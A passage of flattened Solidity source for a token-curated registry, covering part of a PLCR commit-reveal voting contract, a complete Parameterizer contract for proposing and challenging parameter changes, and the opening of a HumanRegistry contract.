require(token.transferFrom(msg.sender, this, _numTokens));
emit _VotingRightsGranted(_numTokens, msg.sender);
}
/**
@notice Withdraw _numTokens ERC20 tokens from the voting contract, revoking these voting rights
@param _numTokens The number of ERC20 tokens desired in exchange for voting rights
*/
function withdrawVotingRights(uint _numTokens) external {
uint availableTokens = voteTokenBalance[msg.sender].sub(getLockedTokens(msg.sender));
require(availableTokens >= _numTokens);
voteTokenBalance[msg.sender] -= _numTokens;
require(token.transfer(msg.sender, _numTokens));
emit _VotingRightsWithdrawn(_numTokens, msg.sender);
}
/**
@dev Unlocks tokens locked in unrevealed vote where poll has ended
@param _pollID Integer identifier associated with the target poll
*/
function rescueTokens(uint _pollID) public {
require(isExpired(pollMap[_pollID].revealEndDate));
require(dllMap[msg.sender].contains(_pollID));
dllMap[msg.sender].remove(_pollID);
emit _TokensRescued(_pollID, msg.sender);
}
/**
@dev Unlocks tokens locked in unrevealed votes where polls have ended
@param _pollIDs Array of integer identifiers associated with the target polls
*/
function rescueTokensInMultiplePolls(uint[] _pollIDs) public {
// loop through arrays, rescuing tokens from all
for (uint i = 0; i < _pollIDs.length; i++) {
rescueTokens(_pollIDs[i]);
}
}
// =================
// VOTING INTERFACE:
// =================
/**
@notice Commits vote using hash of choice and secret salt to conceal vote until reveal
@param _pollID Integer identifier associated with target poll
@param _secretHash Commit keccak256 hash of voter's choice and salt (tightly packed in this order)
@param _numTokens The number of tokens to be committed towards the target poll
@param _prevPollID The ID of the poll that the user has voted the maximum number of tokens in which is still less than or equal to numTokens
*/
function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public {
require(commitPeriodActive(_pollID));
// if msg.sender doesn't have enough voting rights,
// request for enough voting rights
if (voteTokenBalance[msg.sender] < _numTokens) {
uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]);
requestVotingRights(remainder);
}
// make sure msg.sender has enough voting rights
require(voteTokenBalance[msg.sender] >= _numTokens);
// prevent user from committing to zero node placeholder
require(_pollID != 0);
// prevent user from committing a secretHash of 0
require(_secretHash != 0);
// Check if _prevPollID exists in the user's DLL or if _prevPollID is 0
require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID));
uint nextPollID = dllMap[msg.sender].getNext(_prevPollID);
// edge case: in-place update
if (nextPollID == _pollID) {
nextPollID = dllMap[msg.sender].getNext(_pollID);
}
require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens));
dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID);
bytes32 UUID = attrUUID(msg.sender, _pollID);
store.setAttribute(UUID, "numTokens", _numTokens);
store.setAttribute(UUID, "commitHash", uint(_secretHash));
pollMap[_pollID].didCommit[msg.sender] = true;
emit _VoteCommitted(_pollID, _numTokens, msg.sender);
}
/**
@notice Commits votes using hashes of choices and secret salts to conceal votes until reveal
@param _pollIDs Array of integer identifiers associated with target polls
@param _secretHashes Array of commit keccak256 hashes of voter's choices and salts (tightly packed in this order)
@param _numsTokens Array of numbers of tokens to be committed towards the target polls
@param _prevPollIDs Array of IDs of the polls that the user has voted the maximum number of tokens in which is still less than or equal to numTokens
*/
function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external {
// make sure the array lengths are all the same
require(_pollIDs.length == _secretHashes.length);
require(_pollIDs.length == _numsTokens.length);
require(_pollIDs.length == _prevPollIDs.length);
// loop through arrays, committing each individual vote values
for (uint i = 0; i < _pollIDs.length; i++) {
commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]);
}
}
/**
@dev Compares previous and next poll's committed tokens for sorting purposes
@param _prevID Integer identifier associated with previous poll in sorted order
@param _nextID Integer identifier associated with next poll in sorted order
@param _voter Address of user to check DLL position for
@param _numTokens The number of tokens to be committed towards the poll (used for sorting)
@return valid Boolean indication of if the specified position maintains the sort
*/
function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) {
bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID));
// if next is zero node, _numTokens does not need to be greater
bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0);
return prevValid && nextValid;
}
/**
@notice Reveals vote with choice and secret salt used in generating commitHash to attribute committed tokens
@param _pollID Integer identifier associated with target poll
@param _voteOption Vote choice used to generate commitHash for associated poll
@param _salt Secret number used to generate commitHash for associated poll
*/
function revealVote(uint _pollID, uint _voteOption, uint _salt) public {
// Make sure the reveal period is active
require(revealPeriodActive(_pollID));
require(pollMap[_pollID].didCommit[msg.sender]); // make sure user has committed a vote for this poll
require(!pollMap[_pollID].didReveal[msg.sender]); // prevent user from revealing multiple times
require(keccak256(abi.encodePacked(_voteOption, _salt)) == getCommitHash(msg.sender, _pollID)); // compare resultant hash from inputs to original commitHash
uint numTokens = getNumTokens(msg.sender, _pollID);
if (_voteOption == 1) {// apply numTokens to appropriate poll choice
pollMap[_pollID].votesFor += numTokens;
} else {
pollMap[_pollID].votesAgainst += numTokens;
}
dllMap[msg.sender].remove(_pollID); // remove the node referring to this vote upon reveal
pollMap[_pollID].didReveal[msg.sender] = true;
emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender);
}
/**
@notice Reveals multiple votes with choices and secret salts used in generating commitHashes to attribute committed tokens
@param _pollIDs Array of integer identifiers associated with target polls
@param _voteOptions Array of vote choices used to generate commitHashes for associated polls
@param _salts Array of secret numbers used to generate commitHashes for associated polls
*/
function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external {
// make sure the array lengths are all the same
require(_pollIDs.length == _voteOptions.length);
require(_pollIDs.length == _salts.length);
// loop through arrays, revealing each individual vote values
for (uint i = 0; i < _pollIDs.length; i++) {
revealVote(_pollIDs[i], _voteOptions[i], _salts[i]);
}
}
/**
@param _pollID Integer identifier associated with target poll
@param _salt Arbitrarily chosen integer used to generate secretHash
@return correctVotes Number of tokens voted for winning option
*/
function getNumPassingTokens(address _voter, uint _pollID, uint _salt) public constant returns (uint correctVotes) {
require(pollEnded(_pollID));
require(pollMap[_pollID].didReveal[_voter]);
uint winningChoice = isPassed(_pollID) ? 1 : 0;
bytes32 winnerHash = keccak256(abi.encodePacked(winningChoice, _salt));
bytes32 commitHash = getCommitHash(_voter, _pollID);
require(winnerHash == commitHash);
return getNumTokens(_voter, _pollID);
}
// ==================
// POLLING INTERFACE:
// ==================
/**
@dev Initiates a poll with canonical configured parameters at pollID emitted by PollCreated event
@param _voteQuorum Type of majority (out of 100) that is necessary for poll to be successful
@param _commitDuration Length of desired commit period in seconds
@param _revealDuration Length of desired reveal period in seconds
*/
function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) {
pollNonce = pollNonce + 1;
uint commitEndDate = block.timestamp.add(_commitDuration);
uint revealEndDate = commitEndDate.add(_revealDuration);
pollMap[pollNonce] = Poll({
voteQuorum: _voteQuorum,
commitEndDate: commitEndDate,
revealEndDate: revealEndDate,
votesFor: 0,
votesAgainst: 0
});
emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender);
return pollNonce;
}
/**
@notice Determines if proposal has passed
@dev Check if votesFor out of totalVotes exceeds votesQuorum (requires pollEnded)
@param _pollID Integer identifier associated with target poll
*/
function isPassed(uint _pollID) constant public returns (bool passed) {
require(pollEnded(_pollID));
Poll memory poll = pollMap[_pollID];
return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst));
}
// ----------------
// POLLING HELPERS:
// ----------------
/**
@dev Gets the total winning votes for reward distribution purposes
@param _pollID Integer identifier associated with target poll
@return Total number of votes committed to the winning option for specified poll
*/
function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) {
require(pollEnded(_pollID));
if (isPassed(_pollID))
return pollMap[_pollID].votesFor;
else
return pollMap[_pollID].votesAgainst;
}
/**
@notice Determines if poll is over
@dev Checks isExpired for specified poll's revealEndDate
@return Boolean indication of whether polling period is over
*/
function pollEnded(uint _pollID) constant public returns (bool ended) {
require(pollExists(_pollID));
return isExpired(pollMap[_pollID].revealEndDate);
}
/**
@notice Checks if the commit period is still active for the specified poll
@dev Checks isExpired for the specified poll's commitEndDate
@param _pollID Integer identifier associated with target poll
@return Boolean indication of isCommitPeriodActive for target poll
*/
function commitPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].commitEndDate);
}
/**
@notice Checks if the reveal period is still active for the specified poll
@dev Checks isExpired for the specified poll's revealEndDate
@param _pollID Integer identifier associated with target poll
*/
function revealPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID);
}
/**
@dev Checks if user has committed for specified poll
@param _voter Address of user to check against
@param _pollID Integer identifier associated with target poll
@return Boolean indication of whether user has committed
*/
function didCommit(address _voter, uint _pollID) constant public returns (bool committed) {
require(pollExists(_pollID));
return pollMap[_pollID].didCommit[_voter];
}
/**
@dev Checks if user has revealed for specified poll
@param _voter Address of user to check against
@param _pollID Integer identifier associated with target poll
@return Boolean indication of whether user has revealed
*/
function didReveal(address _voter, uint _pollID) constant public returns (bool revealed) {
require(pollExists(_pollID));
return pollMap[_pollID].didReveal[_voter];
}
/**
@dev Checks if a poll exists
@param _pollID The pollID whose existance is to be evaluated.
@return Boolean Indicates whether a poll exists for the provided pollID
*/
function pollExists(uint _pollID) constant public returns (bool exists) {
return (_pollID != 0 && _pollID <= pollNonce);
}
// ---------------------------
// DOUBLE-LINKED-LIST HELPERS:
// ---------------------------
/**
@dev Gets the bytes32 commitHash property of target poll
@param _voter Address of user to check against
@param _pollID Integer identifier associated with target poll
@return Bytes32 hash property attached to target poll
*/
function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) {
return bytes32(store.getAttribute(attrUUID(_voter, _pollID), "commitHash"));
}
/**
@dev Wrapper for getAttribute with attrName="numTokens"
@param _voter Address of user to check against
@param _pollID Integer identifier associated with target poll
@return Number of tokens committed to poll in sorted poll-linked-list
*/
function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) {
return store.getAttribute(attrUUID(_voter, _pollID), "numTokens");
}
/**
@dev Gets top element of sorted poll-linked-list
@param _voter Address of user to check against
@return Integer identifier to poll with maximum number of tokens committed to it
*/
function getLastNode(address _voter) constant public returns (uint pollID) {
return dllMap[_voter].getPrev(0);
}
/**
@dev Gets the numTokens property of getLastNode
@param _voter Address of user to check against
@return Maximum number of tokens committed in poll specified
*/
function getLockedTokens(address _voter) constant public returns (uint numTokens) {
return getNumTokens(_voter, getLastNode(_voter));
}
/*
@dev Takes the last node in the user's DLL and iterates backwards through the list searching
for a node with a value less than or equal to the provided _numTokens value. When such a node
is found, if the provided _pollID matches the found nodeID, this operation is an in-place
update. In that case, return the previous node of the node being updated. Otherwise return the
first node that was found with a value less than or equal to the provided _numTokens.
@param _voter The voter whose DLL will be searched
@param _numTokens The value for the numTokens attribute in the node to be inserted
@return the node which the propoded node should be inserted after
*/
function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID)
constant public returns (uint prevNode) {
// Get the last node in the list and the number of tokens in that node
uint nodeID = getLastNode(_voter);
uint tokensInNode = getNumTokens(_voter, nodeID);
// Iterate backwards through the list until reaching the root node
while(nodeID != 0) {
// Get the number of tokens in the current node
tokensInNode = getNumTokens(_voter, nodeID);
if (tokensInNode <= _numTokens) { // We found the insert point!
if (nodeID == _pollID) {
// This is an in-place update. Return the prev node of the node being updated
nodeID = dllMap[_voter].getPrev(nodeID);
}
// Return the insert point
return nodeID;
}
// We did not find the insert point. Continue iterating backwards through the list
nodeID = dllMap[_voter].getPrev(nodeID);
}
// The list is empty, or a smaller value than anything else in the list is being inserted
return nodeID;
}
// ----------------
// GENERAL HELPERS:
// ----------------
/**
@dev Checks if an expiration date has been reached
@param _terminationDate Integer timestamp of date to compare current timestamp with
@return expired Boolean indication of whether the terminationDate has passed
*/
function isExpired(uint _terminationDate) constant public returns (bool expired) {
return (block.timestamp > _terminationDate);
}
/**
@dev Generates an identifier which associates a user and a poll together
@param _pollID Integer identifier associated with target poll
@return UUID Hash which is deterministic from _user and _pollID
*/
function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) {
return keccak256(abi.encodePacked(_user, _pollID));
}
}
// File: contracts/Parameterizer.sol
contract Parameterizer is Ownable, CanCheckERC165 {
// ------
// EVENTS
// ------
event _ReparameterizationProposal(string name, uint value, bytes32 propID, uint deposit, uint appEndDate);
event _NewChallenge(bytes32 indexed propID, uint challengeID, uint commitEndDate, uint revealEndDate);
event _ProposalAccepted(bytes32 indexed propID, string name, uint value);
event _ProposalExpired(bytes32 indexed propID);
event _ChallengeSucceeded(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeFailed(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward);
// ------
// DATA STRUCTURES
// ------
using SafeMath for uint;
struct ParamProposal {
uint appExpiry;
uint challengeID;
uint deposit;
string name;
address owner;
uint processBy;
uint value;
}
struct Challenge {
uint rewardPool; // (remaining) pool of tokens distributed amongst winning voters
address challenger; // owner of Challenge
bool resolved; // indication of if challenge is resolved
uint stake; // number of tokens at risk for either party during challenge
uint winningTokens; // (remaining) amount of tokens used for voting by the winning side
mapping(address => bool) tokenClaims;
}
// ------
// STATE
// ------
mapping(bytes32 => uint) public params;
// maps challengeIDs to associated challenge data
mapping(uint => Challenge) public challenges;
// maps pollIDs to intended data change if poll passes
mapping(bytes32 => ParamProposal) public proposals;
// Global Variables
EIP20Interface public token;
PLCRVoting public voting;
uint public PROCESSBY = 604800; // 7 days
string constant NEW_REGISTRY = "_newRegistry";
bytes32 constant NEW_REGISTRY_KEC = keccak256(abi.encodePacked(NEW_REGISTRY));
bytes32 constant DISPENSATION_PCT_KEC = keccak256(abi.encodePacked("dispensationPct"));
bytes32 constant P_DISPENSATION_PCT_KEC = keccak256(abi.encodePacked("pDispensationPct"));
// todo: fill this in with the interface ID of the registry migration interface we will have
bytes4 public REGISTRY_INTERFACE_REQUIREMENT;
// ------------
// CONSTRUCTOR
// ------------
/**
@dev constructor
@param _tokenAddr address of the token which parameterizes this system
@param _plcrAddr address of a PLCR voting contract for the provided token
@param _minDeposit minimum deposit for listing to be whitelisted
@param _pMinDeposit minimum deposit to propose a reparameterization
@param _applyStageLen period over which applicants wait to be whitelisted
@param _pApplyStageLen period over which reparameterization proposals wait to be processed
@param _dispensationPct percentage of losing party's deposit distributed to winning party
@param _pDispensationPct percentage of losing party's deposit distributed to winning party in parameterizer
@param _commitStageLen length of commit period for voting
@param _pCommitStageLen length of commit period for voting in parameterizer
@param _revealStageLen length of reveal period for voting
@param _pRevealStageLen length of reveal period for voting in parameterizer
@param _voteQuorum type of majority out of 100 necessary for vote success
@param _pVoteQuorum type of majority out of 100 necessary for vote success in parameterizer
@param _newRegistryIface ERC165 interface ID requirement (not a votable parameter)
*/
constructor(
address _tokenAddr,
address _plcrAddr,
uint _minDeposit,
uint _pMinDeposit,
uint _applyStageLen,
uint _pApplyStageLen,
uint _commitStageLen,
uint _pCommitStageLen,
uint _revealStageLen,
uint _pRevealStageLen,
uint _dispensationPct,
uint _pDispensationPct,
uint _voteQuorum,
uint _pVoteQuorum,
bytes4 _newRegistryIface
) Ownable() public {
token = EIP20Interface(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
REGISTRY_INTERFACE_REQUIREMENT = _newRegistryIface;
set("minDeposit", _minDeposit);
set("pMinDeposit", _pMinDeposit);
set("applyStageLen", _applyStageLen);
set("pApplyStageLen", _pApplyStageLen);
set("commitStageLen", _commitStageLen);
set("pCommitStageLen", _pCommitStageLen);
set("revealStageLen", _revealStageLen);
set("pRevealStageLen", _pRevealStageLen);
set("dispensationPct", _dispensationPct);
set("pDispensationPct", _pDispensationPct);
set("voteQuorum", _voteQuorum);
set("pVoteQuorum", _pVoteQuorum);
}
// -----------------------
// TOKEN HOLDER INTERFACE
// -----------------------
/**
@notice propose a reparamaterization of the key _name's value to _value.
@param _name the name of the proposed param to be set
@param _value the proposed value to set the param to be set
*/
function proposeReparameterization(string _name, uint _value) public returns (bytes32) {
uint deposit = get("pMinDeposit");
bytes32 propID = keccak256(abi.encodePacked(_name, _value));
bytes32 _nameKec = keccak256(abi.encodePacked(_name));
if (_nameKec == DISPENSATION_PCT_KEC ||
_nameKec == P_DISPENSATION_PCT_KEC) {
require(_value <= 100);
}
if(keccak256(abi.encodePacked(_name)) == NEW_REGISTRY_KEC) {
require(getNewRegistry() == address(0));
require(_value != 0);
require(msg.sender == owner);
require((_value & 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff) == _value); // i.e., _value is zero-padded address
require(this.doesContractImplementInterface(address(_value), REGISTRY_INTERFACE_REQUIREMENT));
}
require(!propExists(propID)); // Forbid duplicate proposals
require(get(_name) != _value); // Forbid NOOP reparameterizations
// attach name and value to pollID
proposals[propID] = ParamProposal({
appExpiry: now.add(get("pApplyStageLen")),
challengeID: 0,
deposit: deposit,
name: _name,
owner: msg.sender,
processBy: now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY),
value: _value
});
require(token.transferFrom(msg.sender, this, deposit)); // escrow tokens (deposit amt)
emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry);
return propID;
}
/**
@notice gets the address of the new registry, if set.
*/
function getNewRegistry() public view returns (address) {
//return address(get(NEW_REGISTRY));
return address(params[NEW_REGISTRY_KEC]); // bit of an optimization
}
/**
@notice challenge the provided proposal ID, and put tokens at stake to do so.
@param _propID the proposal ID to challenge
*/
function challengeReparameterization(bytes32 _propID) public returns (uint) {
ParamProposal memory prop = proposals[_propID];
uint deposit = prop.deposit;
require(propExists(_propID) && prop.challengeID == 0);
//start poll
uint pollID = voting.startPoll(
get("pVoteQuorum"),
get("pCommitStageLen"),
get("pRevealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: SafeMath.sub(100, get("pDispensationPct")).mul(deposit).div(100),
stake: deposit,
resolved: false,
winningTokens: 0
});
proposals[_propID].challengeID = pollID; // update listing to store most recent challenge
//take tokens from challenger
require(token.transferFrom(msg.sender, this, deposit));
(uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);
emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate);
return pollID;
}
/**
@notice for the provided proposal ID, set it, resolve its challenge, or delete it depending on whether it can be set, has a challenge which can be resolved, or if its "process by" date has passed
@param _propID the proposal ID to make a determination and state transition for
*/
function processProposal(bytes32 _propID) public {
ParamProposal storage prop = proposals[_propID];
address propOwner = prop.owner;
uint propDeposit = prop.deposit;
// Before any token transfers, deleting the proposal will ensure that if reentrancy occurs the
// prop.owner and prop.deposit will be 0, thereby preventing theft
if (canBeSet(_propID)) {
// There is no challenge against the proposal. The processBy date for the proposal has not
// passed, but the proposal's appExpirty date has passed.
set(prop.name, prop.value);
emit _ProposalAccepted(_propID, prop.name, prop.value);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else if (challengeCanBeResolved(_propID)) {
// There is a challenge against the proposal.
resolveChallenge(_propID);
} else if (now > prop.processBy) {
// There is no challenge against the proposal, but the processBy date has passed.
emit _ProposalExpired(_propID);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else {
// There is no challenge against the proposal, and neither the appExpiry date nor the
// processBy date has passed.
revert();
}
assert(get("dispensationPct") <= 100);
assert(get("pDispensationPct") <= 100);
// verify that future proposal appExpiry and processBy times will not overflow
now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY);
delete proposals[_propID];
}
/**
@notice claim the tokens owed for the msg.sender in the provided challenge
@param _challengeID the challenge ID to claim tokens for
@param _salt the salt used to vote in the challenge being withdrawn for
*/
function claimReward(uint _challengeID, uint _salt) public {
// ensure voter has not already claimed tokens and challenge results have been processed
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
// subtract voter's information to preserve the participation ratios of other voters
// compared to the remaining pool of rewards
challenges[_challengeID].winningTokens = challenges[_challengeID].winningTokens.sub(voterTokens);
challenges[_challengeID].rewardPool = challenges[_challengeID].rewardPool.sub(reward);
// ensures a voter cannot claim tokens again
challenges[_challengeID].tokenClaims[msg.sender] = true;
emit _RewardClaimed(_challengeID, reward);
require(token.transfer(msg.sender, reward));
}
// --------
// GETTERS
// --------
/**
@dev Calculates the provided voter's token reward for the given poll.
@param _voter The address of the voter whose reward balance is to be returned
@param _challengeID The ID of the challenge the voter's reward is being calculated for
@param _salt The salt of the voter's commit hash in the given poll
@return The uint indicating the voter's reward
*/
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint winningTokens = challenges[_challengeID].winningTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return voterTokens.mul(rewardPool).div(winningTokens);
}
/**
@notice Determines whether a proposal passed its application stage without a challenge
@param _propID The proposal ID for which to determine whether its application stage passed without a challenge
*/
function canBeSet(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0);
}
/**
@notice Determines whether a proposal exists for the provided proposal ID
@param _propID The proposal ID whose existance is to be determined
*/
function propExists(bytes32 _propID) view public returns (bool) {
return proposals[_propID].processBy > 0;
}
/**
@notice Determines whether the provided proposal ID has a challenge which can be resolved
@param _propID The proposal ID whose challenge to inspect
*/
function challengeCanBeResolved(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
Challenge memory challenge = challenges[prop.challengeID];
return (prop.challengeID > 0 && challenge.resolved == false &&
voting.pollEnded(prop.challengeID));
}
/**
@notice Determines the number of tokens to awarded to the winning party in a challenge
@param _challengeID The challengeID to determine a reward for
*/
function challengeWinnerReward(uint _challengeID) public view returns (uint) {
if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
// Edge case, nobody voted, give all tokens to the challenger.
return challenges[_challengeID].stake.mul(2);
}
return challenges[_challengeID].stake.mul(2).sub(challenges[_challengeID].rewardPool);
}
/**
@notice gets the parameter keyed by the provided name value from the params mapping
@param _name the key whose value is to be determined
*/
function get(string _name) public view returns (uint value) {
return params[keccak256(abi.encodePacked(_name))];
}
/**
@dev Getter for Challenge tokenClaims mappings
@param _challengeID The challengeID to query
@param _voter The voter whose claim status to query for the provided challengeID
*/
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
// ----------------
// PRIVATE FUNCTIONS
// ----------------
/**
@dev resolves a challenge for the provided _propID. It must be checked in advance whether the _propID has a challenge on it
@param _propID the proposal ID whose challenge is to be resolved.
*/
function resolveChallenge(bytes32 _propID) private {
ParamProposal memory prop = proposals[_propID];
Challenge storage challenge = challenges[prop.challengeID];
// winner gets back their full staked deposit, and dispensationPct*loser's stake
uint reward = challengeWinnerReward(prop.challengeID);
challenge.winningTokens =
voting.getTotalNumberOfTokensForWinningOption(prop.challengeID);
challenge.resolved = true;
if (voting.isPassed(prop.challengeID)) { // The challenge failed
if(prop.processBy > now) {
set(prop.name, prop.value);
}
emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(prop.owner, reward));
}
else { // The challenge succeeded or nobody voted
emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(challenges[prop.challengeID].challenger, reward));
}
}
/**
@dev sets the param keted by the provided name to the provided value
@param _name the name of the param to be set
@param _value the value to set the param to be set
*/
function set(string _name, uint _value) private {
params[keccak256(abi.encodePacked(_name))] = _value;
}
}
// File: contracts/Interface/ERC165.sol
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
// File: contracts/HumanRegistry.sol
contract SupercedesRegistry is ERC165 {
function canReceiveListing(bytes32 listingHash, uint applicationExpiry, bool whitelisted, address owner, uint unstakedDeposit, uint challengeID) external view returns (bool);
function receiveListing(bytes32 listingHash, uint applicationExpiry, bool whitelisted, address owner, uint unstakedDeposit, uint challengeID) external;
function getSupercedesRegistryInterfaceID() public pure returns (bytes4) {
SupercedesRegistry i;
return i.canReceiveListing.selector ^ i.receiveListing.selector;
}
}
contract HumanRegistry {
// ------
// EVENTS
// ------
event _Application(bytes32 indexed listingHash, uint deposit, uint appEndDate, string data);
event _Challenge(bytes32 indexed listingHash, uint challengeID, uint deposit, string data);
event _Deposit(bytes32 indexed listingHash, uint added, uint newTotal);
event _Withdrawal(bytes32 indexed listingHash, uint withdrew, uint newTotal);
event _ApplicationWhitelisted(bytes32 indexed listingHash);
event _ApplicationRemoved(bytes32 indexed listingHash);
event _ListingRemoved(bytes32 indexed listingHash);
event _ListingWithdrawn(bytes32 indexed listingHash);
event _TouchAndRemoved(bytes32 indexed listingHash);
event _ChallengeFailed(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeSucceeded(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward, address voter);
event _ListingMigrated(bytes32 indexed listingHash, address newRegistry);
using SafeMath for uint;
struct Listing {
uint applicationExpiry; // Expiration date of apply stage
bool whitelisted; // Indicates registry status
address owner; // Owner of Listing
uint unstakedDeposit; // Number of tokens in the listing not locked in a challenge
uint challengeID; // Corresponds to a PollID in PLCRVoting
}
struct Challenge {
uint rewardPool; // (remaining) Pool of tokens to be distributed to winning voters
address challenger; // Owner of Challenge
bool resolved; // Indication of if challenge is resolved
uint stake; // Number of tokens at stake for either party during challenge
uint totalTokens; // (remaining) Number of tokens used in voting by the winning side
mapping(address => bool) tokenClaims; // Indicates whether a voter has claimed a reward yet
}
// Maps owners to whitelisted status
mapping (address => bool) public humans;
// Maps challengeIDs to associated challenge data
mapping(uint => Challenge) public challenges;
// Maps listingHashes to associated listingHash data
mapping(bytes32 => Listing) public listings;
// Maps number of applications per address
mapping(address => uint) public numApplications;
// Maps total amount staked per address
mapping(address => uint) public totalStaked;
// Global Variables
EIP20Interface public token;
PLCRVoting public voting;
Parameterizer public parameterizer;
string public constant version = "1";
// ------------
// CONSTRUCTOR:
// ------------
/**
@dev Contructor Sets the addresses for token, voting, and parameterizer
@param _tokenAddr Address of the TCR's intrinsic ERC20 token
@param _plcrAddr Address of a PLCR voting contract for the provided token
@param _paramsAddr Address of a Parameterizer contract
*/
constructor(
address _tokenAddr,
address _plcrAddr,
address _paramsAddr
) public {
token = EIP20Interface(_tokenAddr);
voting = PLCRVoting(_plcrAddr);
parameterizer = Parameterizer(_paramsAddr);
}
// --------------------
// PUBLISHER INTERFACE:
// --------------------
/**
@dev Allows a user to start an application. Takes tokens from user and sets
apply stage end time.
@param _listingHash The hash of a potential listing a user is applying to add to the registry
@param _amount The number of ERC20 tokens a user is willing to potentially stake
@param _data Extra data relevant to the application. Think IPFS hashes.
*/
function apply(bytes32 _listingHash, uint _amount, string _data) onlyIfCurrentRegistry external {
require(!isWhitelisted(_listingHash));
require(!appWasMade(_listingHash));
require(_amount >= parameterizer.get("minDeposit"));
// Sets owner
Listing storage listing = listings[_listingHash];
listing.owner = msg.sender;
// Sets apply stage end time
listing.applicationExpiry = block.timestamp.add(parameterizer.get("applyStageLen"));
listing.unstakedDeposit = _amount;
// Tally application count per address
numApplications[listing.owner] = numApplications[listing.owner].add(1);
// Tally total staked amount
totalStaked[listing.owner] = totalStaked[listing.owner].add(_amount);
// Transfers tokens from user to Registry contract
require(token.transferFrom(listing.owner, this, _amount));
emit _Application(_listingHash, _amount, listing.applicationExpiry, _data);
}
/**
@dev Allows the owner of a listingHash to increase their unstaked deposit.
@param _listingHash A listingHash msg.sender is the owner of
@param _amount The number of ERC20 tokens to increase a user's unstaked deposit
*/
function deposit(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
listing.unstakedDeposit = listing.unstakedDeposit.add(_amount);
// Update total stake
totalStaked[listing.owner] = totalStaked[listing.owner].add(_amount);
require(token.transferFrom(msg.sender, this, _amount));
emit _Deposit(_listingHash, _amount, listing.unstakedDeposit);
}
/**
@dev Allows the owner of a listingHash to decrease their unstaked deposit.
@param _listingHash A listingHash msg.sender is the owner of.
@param _amount The number of ERC20 tokens to withdraw from the unstaked deposit.
*/
function withdraw(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
require(_amount <= listing.unstakedDeposit);
require(listing.unstakedDeposit.sub(_amount) >= parameterizer.get("minDeposit"));
listing.unstakedDeposit = listing.unstakedDeposit.sub(_amount);
require(token.transfer(msg.sender, _amount));
emit _Withdrawal(_listingHash, _amount, listing.unstakedDeposit);
}
/**
@dev Allows the owner of a listingHash to remove the listingHash from the whitelist
Returns all tokens to the owner of the listingHash
@param _listingHash A listingHash msg.sender is the owner of.
*/
function exit(bytes32 _listingHash) external {
